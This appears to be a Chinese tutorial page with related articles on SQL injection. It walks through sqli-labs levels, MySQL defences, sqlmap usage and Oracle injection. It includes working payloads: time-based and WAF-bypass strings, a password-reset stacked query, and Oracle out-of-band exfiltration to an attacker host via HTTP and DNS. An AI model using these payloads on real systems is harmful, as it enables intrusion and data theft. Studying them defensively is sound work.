    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
    ...........

    一般布尔盲注,手工去注入过于繁琐,不建议手工注入,可以借助于工具。

    延时注入

           通过观察页面,既没有回显数据库内容,又没有报错信息也没有布尔类型状态,那么我们可以考虑用“绝招”--延时注入。延时注入就是将页面的时间线作为判断依据,一点一点注入出数据库的信息。我们以第9关为例,在id=1后面加单引号或者双引号,页面不会发生任何改变,所以我们考虑绝招延时注入。

    1. 延时注入

    ?id=1' and sleep(5) --+    

    如图所示,观察请求的时间线,大概在5秒以上,说明构造的sleep(5) 语句起作用,可以把这个时间线作为sql 注入的判断依据。

    2. 获取数据库名字

    延时注入与布尔盲注类似,构造方法如下,提交参数

    ?id=1' and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+

    if(expr1,expr2,expr3)       如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。 传送门-》mysql基础学习

    代码的含义就是如果数据库名字的第一个字符的acsii值为115,则进行延时,否则返回0即什么都不返回。

    页面显示延时5 秒,说明数据库名字第一个字母的ASCII 值是115,也就是字母s。

    3. 数据库名字第二个字母的判断,

    ?id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+

    与盲注类似,后面就是猜数,这就是延时注入

    可以绕waf的payload

    and(select*from(select+sleep(4))a/**/union/**/select+1)='

    HTTP头注入

           常见的sql注入一般是通过请求参数或者表单进行注入,而HTTP头部注入是通过HTTP协议头部字段值进行注入。http头注入常存在于以下地方

    产生注入的条件

    - 能够对请求头消息进行修改

    - 修改的请求头信息能够带入数据库进行查询

    - 数据库没有对输入的请求信息做过滤

    1. User-Agent注入

           User-Agent:使得服务器能够识别客户使用的操作系统,浏览器版本等。(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等然后将其存入数据库中)。这里获取User-Agent就可以知道客户都是通过什么浏览器访问系统的,然后将其值保存到数据库中。

    以sqli-labs less-18关为例,登录用户密码:dumb ,0

    1.1 判断注入点:user-agent值后面加上',引发报错,确定存在sql注入

    1.2 采用报错注入函数获取当前数据库名

    ' and updatexml(1,concat('^',(database()),'^'),1) and '

    2. cookie注入

           cookie:服务器端用来记录客户端的状态。由服务端产生,保存在浏览器中。传送门-》cookie 。以sqli-labs less-20关为例,登录后

    2.1 首先判断注入点,加 ' 单引号报错

    2.2 采用报错注入函数获取当前数据库名

    ' and updatexml(1,concat('^',(database()),'^'),1) and '

    3. Referer注入

           Referer:是HTTP header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

    以19关为例

    1. 判断输入点,加单引号引发报错

    2. 使用报错注入函数:

    ‘ and updatexml(1,concat(0x7e,(database()),0x7e),0) and '

    方法都是一样的。

    4. X-Forwarded-For 注入

           X-Forwarded-For(XFF)用来识别客户端最原始的ip地址。详见,传送门 -》X-Forwarded-For sql注入

    宽字节注入

    宽字节案例引入       

            宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以SQLi-labs 32 关为例子。 使用?id=1' 进行测试的时候,发现提交的单引号会被转义[\']。此时,转义后的单引号会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构。

           接着我们查看这关的源码,发现传入的id经过addslashes转移函数的处理,所有的单引号双引号字符都会被添加转义字符。接着在带入到数据库查询前设置了mysql_query("SET NAMES gbk"),即设定字符集为gbk。漏洞就是由于这个设置导致宽字节注入。

     仔细看该函数,其利用正则匹配将 [ /,'," ]这些三个符号都过滤掉了

    关于preg_replace的正则用法可详看——> 命令执行与代码执行漏洞 中搜索preg_replace 

    而我们要绕过这个转义处理,使单引号发挥作用不再被转义,有两个思路:

    1. 让斜杠(\)失去作用
    2. 让斜杠(\)消失

    第一个思路就是借鉴程序员的防范思路,对斜杠(\)转义,使其失去转义单引号的作用,成为普通的内容。第二个思路就是宽字节注入。

    关于编码

    在理解宽字节注入之前,我们需要先了解编码的有关知识,关于什么是编码,为什么要编码,可以详看 ——> 计算机中的编码问题

    1. 某字符的大小为一个字节时,称其字符为窄字节.
    2. 当某字符的大小为两个字节时,称其字符为宽字节.
    3. 所有英文默认占一个字节,汉字占两个字节
    4. 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等

    宽字节注入       

    宽字节是指多个字节宽度的编码,GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。转义函数在对这些编码进行转义时会将转义字符 ‘\’ 转为 %5c ,于是我们在他前面输入一个单字符编码与它组成一个新的多字符编码,使得原本的转义字符没有发生作用。

            由于在数据库查询前使用了GBK多字节编码,即在汉字编码范围内使用两个字节会被编码为一个汉字(前一个ascii码要大于128,才到汉字的范围)。然后mysql服务器会对查询语句进行GBK编码,即下面所说的

           我们在前面加上 %df'  ,转义函数会将%df’改成%df\’ , 而\ 就是%5c ,即最后变成了%df%5c',而%df%5c在GBK中这两个字节对应着一个汉字 “運” ,就是说 \ 已经失去了作用,%df ' ,被认为運' ,成功消除了转义函数的影响。

    • '           %27
    • \           %5c
    • %df\'    %df%5c' =》  運'

    我们输入 ?id=1%df',按道理来说将转义符吃掉了,结果应该是 id=' 運'  ' ,为什么这里转变成了中文后后面还有一个反斜杠了?那个反斜杠是哪里来的?

     其实这个是浏览器显示编码的问题,我们将浏览器编码切换为GB2312即简体中文,如下就正常了。

     联合注入如下

    GB2312与GBK的不同

    gb2312和gbk应该都是宽字节家族的一员。但我们来做个小实验。把源码中set names修改成gb2312

    结果就不能注入了,我开始不信,然后再把数据库编码也改成gb2312,也是不成功的。虽然执行的语句还是显示被转换成了中文了,但就是注入不成功

    为什么,这归结于gb2312编码的取值范围。它的高位范围是0xA1~0xF7,低位范围是0xA1~0xFE,而\是0x5c,是不在低位范围中的。所以,0x5c根本不是gb2312中的编码,所以自然也是不会被吃掉的。

    所以,把这个思路扩展到世界上所有多字节编码,我们可以这样认为:只要低位的范围中含有0x5c的编码,就可以进行宽字符注入。

    宽字节注入注入方法

    1. 黑盒

    就是上面所述的,在注入点后面加%df,然后按照正常的注入流程开始注入即可。如果我们需要使用sqlmap进行检测注入的话也需要在注入点后面加%df然后再用sqlmap跑,否则是注入不出来的,如

    sqlmap.py -u "http://localhost/sqli-labs-master/Less-32/?id=1%df%27"

    2. 白盒

    查看mysql是否为GBK编码,且是否使用preg_replace()把单引号转换成\'或自带函数addslashes()进行转义

     

     如果存在上面说的,则存在宽字节注入。

    宽字节注入修复

    1. mysql_real_escape_string

    听说这个函数能抵御宽字节注入攻击。mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集。mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集。

     ‍于是,把addslashes替换成mysql_real_escape_string,来抵御宽字符注入。但是我们发现还是一样注入成功了

     

    为什么,明明我用了mysql_real_escape_string,但却仍然不能抵御宽字符注入?

    原因就是,你没有指定php连接mysql的字符集。我们需要在执行sql语句之前调用一下mysql_set_charset函数,设置当前连接的字符集为gbk。‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

    mysqli_set_charset(connection,charset);

    参数描述
    connection必需。规定要使用的 MySQL 连接。
    charset必需。规定默认字符集。

     这样就防止了注入

     即先调用mysql_set_charset函数设置连接所使用的字符集为gbk,再调用mysql_real_escape_string来过滤用户输入。

    2. 设置参数,character_set_client=binary

    3. 使用utf-8编码

    堆叠查询

           堆叠查询也叫堆叠注入,在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。以sqli-labs第38关为例

    执行

    id=1';update users set password='123456' where id=1; --+ 

    意思就是再更新id=1的用户密码为123456。如下成功执行了更新密码的语句

    堆叠查询的局限性

           堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。如上面的实例如果我们不输出密码那我们是看不到这个结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息

    二阶注入

    二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与—次注入攻击漏洞相同的攻击威力。

    1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
    2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
    3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
    4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
    5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功

    总结,二次注入就是我们先提交一串字符存储进数据库,然后在提交第二个请求,后面的请求与第一次存储进数据库中的字符串发生作用,构造成了一条特殊的sql语句。以sqli-labs第24关为例

    sqli-labs less-24

    1. 如下点击注册用户

    这里注册用户名为 admin'#

    此时我们查看数据库,注册的用户已经存储进去了,并且admin的密码是DDD

    2. 对注册的账号进行登录然后修改密码为ccccc

    此时提示密码已经成功修改了

    此时我们发现反倒是admin的密码被修改成了ccccc,而我们注册的用户admin'#的密码并没有被修改

    漏洞原因

    1. 在进行用户注册的允许存在'和#这种特殊字符

    2. 在修改密码页面的源码中,发现这里很明显存在注入漏洞

    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

    当我们登录账号admin'#并修改密码时,这条sql语句就变成了如下这个样子,#把后面的代码都注释掉了,所以修改了用户admin的密码为ccccc

    $sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

    五. sql注入getshell的几种方式

    传送门 -》sql注入getshell的几种方式

    展开全文
  • 进程注入工具DllInject

    2015-04-25 16:00:57
    DllInject,注入DLL到进程里面
  • lsp注入(原理及其实现代码)

    热门讨论 2016-09-17 15:51:37
    lsp注入(原理及其实现代码)
  • 注入漏洞-sql注入

    万次阅读 多人点赞 2019-04-30 09:33:46
    注入漏洞 注入漏洞 1 SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句。具体来说,它是利用现有应用程序,将SQL语句注入到...

     注入漏洞

    注入漏洞

    1 SQL注入

       所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句。具体来说,它是利用现有应用程序,将SQL语句注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入SQL语句得到一个存在安全漏洞的网站上的数据,而不是按照设计者意图去执行SQL语句。

    1.1 SQL注入的概念

    (1)SQL注入漏洞原理

       SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

    根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

     

    (2)SQL注入漏洞对于数据安全的影响

    • 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
    • 网页篡改:通过操作数据库对特定网页进行篡改。
    • 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
    • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
    • 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
    • 破坏硬盘数据,瘫痪全系统。

    一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大。

     

    (3)SQL注入漏洞的方法

     

    1.数字注入

       在浏览器地址栏输入:learn.me/sql/article.php?id=1,这是一个get型接口,发送这个请求相当于调用一个查询语句:

    $sql = "SELECT * FROM article WHERE id =",$id

       正常情况下,应该返回一个id=1的文章信息。那么,如果在浏览器地址栏输入:learn.me/sql/article.php?id=-1 OR 1 =1,这就是一个SQL注入攻击了,可能会返回所有文章的相关信息。为什么会这样呢?

       这是因为,id = -1永远是false,1=1永远是true,所有整个where语句永远是ture,所以where条件相当于没有加where条件,那么查询的结果相当于整张表的内容

    2.字符串注入

       有这样一个用户登录场景:登录界面包括用户名和密码输入框,以及提交按钮。输入用户名和密码,提交。

       这是一个post请求,登录时调用接口learn.me/sql/login.html,首先连接数据库,然后后台对post请求参数中携带的用户名、密码进行参数校验,即sql的查询过程。假设正确的用户名和密码为user和pwd123,输入正确的用户名和密码、提交,相当于调用了以下的SQL语句:

     

    SELECT * FROM user WHERE username = 'user' ADN password = 'pwd123'

     

           由于用户名和密码都是字符串,SQL注入方法即把参数携带的数据变成mysql中注释的字符串。mysql中有2种注释的方法:

    1)'#':'#'后所有的字符串都会被当成注释来处理

      用户名输入:user'#(单引号闭合user左边的单引号),密码随意输入,如:111,然后点击提交按钮。等价于SQL语句:

     

    SELECT * FROM user WHERE username = 'user'#'ADN password = '111'

     

       '#'后面都被注释掉了,相当于:

     

    SELECT * FROM user WHERE username = 'user' 

    2)'-- ' (--后面有个空格):'-- '后面的字符串都会被当成注释来处理

       用户名输入:user'-- (注意--后面有个空格,单引号闭合user左边的单引号),密码随意输入,如:111,然后点击提交按钮。等价于SQL语句:

    SELECT * FROM user WHERE username = 'user'-- 'AND password = '111'

       SELECT * FROM user WHERE username = 'user'-- 'AND password = '1111'

     

       '-- '后面都被注释掉了,相当于:

     

    SELECT * FROM user WHERE username = 'user'

       因此,以上两种情况可能输入一个错误的密码或者不输入密码就可登录用户名为'user'的账号,这是十分危险的事情。

     

     

     

    1.2 SQL注入的安全防护

    (1)掌握SQL注入漏洞修复和防范方法

    此内容为转

    1、 普通用户与系统管理员用户的权限要有严格的区分。
      如果一个普通用户在使用查询语句中嵌入另一个Drop Table语句,那么是否允许执行呢?由于Drop语句关系到数据库的基本对象,故要操作这个语句用户必须有相关的权限。在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用SQL语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。故应用程序在设计的时候,最好把系统管理员的用户与普通用户区分开来。如此可以最大限度的减少注入式攻击对数据库带来的危害。
    2、 强迫使用参数化语句。
      如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到SQL语句中。与此相反,用户的输入的内容必须进行过滤,或者使用参数化的语句来传递用户输入的变量。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施,可以杜绝大部分的SQL注入式攻击。不过可惜的是,现在支持参数化语句的数据库引擎并不多。不过数据库工程师在开发产品的时候要尽量采用参数化语句。

    3、 加强对用户输入的验证。

      总体来说,防治SQL注入式攻击可以采用两种方法,一是加强对用户输入内容的检查与验证;二是强迫使用参数化语句来传递用户输入的内容。在SQLServer数据库中,有比较多的用户输入内容验证工具,可以帮助管理员来对付SQL注入式攻击。测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出,对于防治注入式攻击有比较明显的效果。
      如可以使用存储过程来验证用户的输入。利用存储过程可以实现对用户输入变量的过滤,如拒绝一些特殊的符号。如以上那个恶意代码中,只要存储过程把那个分号过滤掉,那么这个恶意代码也就没有用武之地了。在执行SQL语句之前,可以通过数据库的存储过程,来拒绝接纳一些特殊的符号。在不影响数据库应用的前提下,应该让数据库拒绝包含以下字符的输入。如分号分隔符,它是SQL注入式攻击的主要帮凶。如注释分隔符。注释只有在数据设计的时候用的到。一般用户的查询语句中没有必要注释的内容,故可以直接把他拒绝掉,通常情况下这么做不会发生意外损失。把以上这些特殊符号拒绝掉,那么即使在SQL语句中嵌入了恶意代码,他们也将毫无作为。
      故始终通过测试类型、长度、格式和范围来验证用户输入,过滤用户输入的内容。这是防止SQL注入式攻击的常见并且行之有效的措施。

    4、 多多使用SQL Server数据库自带的安全参数。
      为了减少注入式攻击对于SQL Server数据库的不良影响,在SQLServer数据库专门设计了相对安全的SQL参数。在数据库设计过程中,工程师要尽量采用这些参数来杜绝恶意的SQL注入式攻击。
      如在SQL Server数据库中提供了Parameters集合。这个集合提供了类型检查和长度验证的功能。如果管理员采用了Parameters这个集合的话,则用户输入的内容将被视为字符值而不是可执行代码。即使用户输入的内容中含有可执行代码,则数据库也会过滤掉。因为此时数据库只把它当作普通的字符来处理。使用Parameters集合的另外一个优点是可以强制执行类型和长度检查,范围以外的值将触发异常。如果用户输入的值不符合指定的类型与长度约束,就会发生异常,并报告给管理员。如上面这个案例中,如果员工编号定义的数据类型为字符串型,长度为10个字符。而用户输入的内容虽然也是字符类型的数据,但是其长度达到了20个字符。则此时就会引发异常,因为用户输入的内容长度超过了数据库字段长度的限制。
    5、 多层环境如何防治SQL注入式攻击?
      在多层应用环境中,用户输入的所有数据都应该在验证之后才能被允许进入到可信区域。未通过验证过程的数据应被数据库拒绝,并向上一层返回一个错误信息。实现多层验证。对无目的的恶意用户采取的预防措施,对坚定的攻击者可能无效。更好的做法是在用户界面和所有跨信任边界的后续点上验证输入。如在客户端应用程序中验证数据可以防止简单的脚本注入。但是,如果下一层认为其输入已通过验证,则任何可以绕过客户端的恶意用户就可以不受限制地访问系统。故对于多层应用环境,在防止注入式攻击的时候,需要各层一起努力,在客户端与数据库端都要采用相应的措施来防治SQL语句的注入式攻击。
    6、 必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。
      使用专业的漏洞扫描工具,可以帮助管理员来寻找可能被SQL注入式攻击的点。不过漏洞扫描工具只能发现攻击点,而不能够主动起到防御SQL注入攻击的作用。当然这个工具也经常被攻击者拿来使用。如攻击者可以利用这个工具自动搜索攻击目标并实施攻击。为此在必要的情况下,企业应当投资于一些专业的漏洞扫描工具。一个完善的漏洞扫描程序不同于网络扫描程序,它专门查找数据库中的SQL注入式漏洞。最新的漏洞扫描程序可以查找最新发现的漏洞。所以凭借专业的工具,可以帮助管理员发现SQL注入式漏洞,并提醒管理员采取积极的措施来预防SQL注入式攻击。如果攻击者能够发现的SQL注入式漏洞数据库管理员都发现了并采取了积极的措施堵住漏洞,那么攻击者也就无从下手了。

    7、设置陷阱账号:

    设置两个帐号,一个是普通管理员帐号,一个是防注入的帐号。将防注入的账号设置的很象管理员,如 admin,以制造假象吸引软件的检测,而密码是大于千字以上的中文字符,迫使软件分析账号的时候进入全负荷状态甚至资源耗尽而死机。

    (2)掌握一些SQL注入漏洞检测工具的使用方法

          Sqlmap 使用方法:

    --is-dba 当前用户权限(是否为root权限,mssql下最高权限为sa)
    --dbs 所有数据库
    --current-db 网站当前数据库
    --users 所有数据库用户
    --current-user 当前数据库用户
    --random-agent 构造随机user-agent
    --passwords 数据库密码
    --proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
    --time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
    --threads=  使用多少线程
    --batch    选择默认选项

    百度很多sqlmap教程,此处举例:

    sqlmap  -u "http://xxx/?id=1" (-u参数指定目标注入地址)检测出存在可利用漏洞

    sqlmap -u "http://xxx/?id=1"  --dbs   列取数据库的所有库

    sqlmap -u "http://xxx/?id=1" --current-db     查询出当前库

    sqlmap -u "http://xxx/?id=1" -D xxx --tables  查询某个库的所有表

    sqlmap -u "http://xxx/?id=1" -D xxx -T xxx --columns(-D dbname指定数据库名称、-T tablename:指定某数据表的名称、--columns:列出指定表上的所有列)

    展开全文
  • Oracle注入

    千次阅读 2019-09-03 18:05:42
    Oracle数据库 Oracle数据库也是一种关系数据库,此数据库体量较大,一般与jsp网站...其注入原理与MySQL一致,都是基于回显的注入,通过union all select来获取我们想要的数据 引入知识 dual表,此表是Oracle数...

    Oracle数据库


    Oracle数据库也是一种关系数据库,此数据库体量较大,一般与jsp网站联合

    既然是关系数据库,肯定也是存在一些关系表,在Oracle数据库中,库的概念被淡化,强调用户

    Oracle注入之联合查询


    注入原理

    其注入原理与MySQL一致,都是基于回显的注入,通过union all select来获取我们想要的数据

    引入知识

    dual表,此表是Oracle数据库中的一个自带表,有说法这是一个虚拟表,也有的说是一个实表,它实际上位满足查询条件而产生

    与MySQL不同的是,在MySQL中查询语句可以直接是:select 1,2,但是在Oracle中就必须跟一个表名,如下:select * from dual

    涉及到的基本用法:

    select * from all_tables 查询出所有的表

    select * from user_tables 查询出当前用户的表

    select*from all_tab_columns 查询出所有的字段

    select*from user_tab_columns  查询出当前用户的字段

    select*from v$version 查版本

     

    rownum=1   (限制查询返回的总行数为一条)

    对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。

    我们可以用rownum<3来要求他输出2条数据

    联合查询实现

    这里直接用数据库查询来演示,打开所在位置,如下图

    判断字段数,共4个字段,联合查询,下方出现一条空白数据,注意:与MSSQL联合查询类似,只能用null填充,如下

    判断字段的数据类型,分别在null两侧添加单引号,第一个字段是整形,剩下的字段都是字符型,如下图

    查询,当前表所属用户,相当于当前库,如下

    获取数据表名,如下

    获取字段名称,如下

    获取关键列中的字段数据,如下

    报错注入


    在MySQL中我们知道有各种报错函数,比如XPATH报错,整形溢出报错之类的,那么在Oracle中存在那些报错函数呢?

    dbms_xdb_version.checkin()函数

    属于dbms_xdb_version下的checkin功能。此功能检入签出的VCR并返回新创建的版本的资源ID。

    语法为:

    DBMS_XDB_VERSION.CHECKIN(
       pathname VARCHAR2) 
     RETURN DBMS_XDB.resid_type;

    pathname

    签出资源的路径名。

    payload:and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null

    dbms_xdb_version.uncheckout()函数

    用法与checkin一致,payload:and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null

    dbms_xdb_version.makeversioned()函数

    用法与checkin一致,payload:and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null

    dbms_utility.sqlid_to_sqlhash()函数

    用法与checkin一致,payload:and (select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null

    ctxsys.drithsx.sn()函数

    此函数去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)语法为:

    and 1=ctxsys.drithsx.sn(1,(select user from dual))--

    其他待测试函数


    XMLType()函数

    在使用这个的XMLType进行报错时,很多人不知道为什么要用CHR(60),通过ASCII查询可以看到,60:<58: ':',62:'>',查了下相关的API,发现的XMLType在进行解析的时候必须以<开头>结尾,这里:冒号在这是必不可少的,至于为什么是冒号这个我也没查到,另外需要注意的是如果返回的数据种有空格的话,它会自动截断,导致数据不完整,有替换函数替换成其他非空字符就可以。语法为:

    and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null--

    utl_inaddr.get_host_name()函数

    这种方法在Oracle 8g,9g,10g中不需要任何权限,但是在Oracle 11g以及以后的版本中,官方加强了访问控制权限,所以在11g以后要使用此方法进行报错注入,当前数据库用户必须有网络访问权限。语法为:

    and 1=utl_inaddr.get_host_name((select user from dual))--
    

    ordsys.ord_dicom.getmappingxpath()函数

    语法为:and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

    decode()函数

    这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。

     

    语法为:

    and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

    最后上个图

    Oracle带外查询


    Oracle带外查询有两种思路

    第一种

    使用Oracle发送HTTP请求,相关函数:utl_http.request(),需要自己搭建外网web服务器,并记录请求的日志信息,然后使用utl_http.request()向外网主机发送http请求,请求便携带了查询的结果信息。此处可以结合SSRF进行内网探测 ,或许这就是Oracle的ssrf。。。

    poyload:http://xxx.xxx.xx.xx/xxx/selcet?suser=1&sname=1'  and 1=utl_http.request('http://XXXXXXXXXXX/'||(select banner from sys.v_$version where rownum=1)) --

    第二种

    使用Oracle发送DNS请求,相关函数:utl_inaddr.get_host_address()、utl_inaddr.get_host_name(),将查询结果拼接到域名下,并使用DNS记录解析日志

    http://xxx.xxx.xx.xx/xxx/selcet?suser=1&sname=1' and (select utl_inaddr.get_host_address((select user from dual)||'.xxx.xxx') from dual)is not null--

    理解:这两种方式应该对Oracle的版本有要求,应该与utl_inaddr.get_host_name()函数要求一致,11g之后需要网络访问权限

    Oracle盲注


    布尔盲注

    在测试和漏洞挖掘中,并没有出现数据库报错信息,使用测试语句进行测试发现只能通过页面正常与否来判断SQL语句是否执行了,这种情况需要使用布尔盲注,盲注可以使用ASCII(),substr()这种通用组合获取数

    常规思路

    使用length()函数判断长度,使用ascii()和substr()函数猜解数据,判断用户名长度,如下图

    猜解数据,如下图

    其他方式

    使用decode函数进行布尔盲注,substr(user,1,1)是条件,'B'是要遍历的位置(这里B是用户名的首字母),如果匹配便返回翻译值1,否则使用默认值0。

    decode()函数用法。decode(条件,值1,翻译值1,值2,翻译值2,...值n,翻译值n,缺省值)

    if(条件==值1)==>返回翻译值1,否则返回默认值

    payload:http://xxx.xxx.xx.xx/?id=2'and 1=(select decode(substr(user,1,1),'B',(1),0) from dual) --+

    使用instr进行布尔盲注,(select user from dual)是查询结果数据,instr会返回'B'位置数据在,查询结果中的位置,未找到便返回0,可以通过对‘SQL’位置进行遍历和迭代,获取到数据。类似MYSQL regexp注入的方法。

    http://xxx.xxx.xx.xx/?id=2'and 1=(instr((select user from dual),'B')) --+

    instr这种方式在应对重复字符时,只能返回第一个字符的位置,比如字符串'aabbcc',查找a只能返回1,那这样就查不到第二个相同字符,最后我们得到的返回值是a->1,b->3,c->5,但是我们根据lengtg()函数知道长度是6,那么就可以直接不全了2位置一定是a,如果是别的不可能查不到,也可以得出aabbcc

    延迟注入

    测试和漏洞挖掘中,通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注;oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),这个也是通过SQLMAP源码中发现的

    DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)

    实际用法如下

    AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),1,1))>1) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),10) ELSE 7238 END)

    而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库

    实际用法如下

    and 1=(select decode(substr(user,1,1),'B',(select count(*) from all_objects),0) from dual)--+

    参考文章:https://www.cnblogs.com/pshell/articles/7473713.html

    参考文章:https://www.freebuf.com/column/174974.html

    参考书籍:《SQL注入攻击与防御》

     

    展开全文
  • 探讨Spring属性注入,设值注入和构造注入注入时机
  • 网页js脚本注入,可执行任意代码。这里有个实例教程,通过注入实现跳过验证码。
  • iOS中JS注入例子

    热门讨论 2014-07-02 23:03:26
    iOS中JS注入例子
  • sql注入---入门到进阶

    万次阅读 多人点赞 2019-10-13 21:06:33
    概述:针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为,其本质就是对于输入检查不充分,导致SQL语句将用户提交的非法数据当作语句的一部分来...
  • sqlmap之POST注入与cookie注入

    千次阅读 2021-10-27 21:43:43
    零、POST注入 POST和GET POST和GET是HTTP的两种请求方法,并且是两种最常用的请求方法 GET一般指向指定资源请求数据,而POST则是要向指定资源提交需要被处理的数据 查询字符串是在 GET 请求的 URL 中发送的,...
  • Spring官网阅读(二)(依赖注入及方法注入

    千次阅读 多人点赞 2020-03-10 23:22:36
    上篇文章我们学习了官网中的1.2,1.3两小节,主要是涉及了容器,以及Spring实例化...文章目录依赖注入:测试setter方法注入测试构造函数注入疑问:区别:方法注入:为什么需要方法注入:通过注入上下文(applicationC...
  • 本文内容 主要介绍xml中依赖注入的配置构造器注入的3种方式详解set方法注入详解注入容器中的其他bean的2种方式其他常见类型注入详解依赖回顾 通常情况下,系统中类和类之间是有依赖关系...
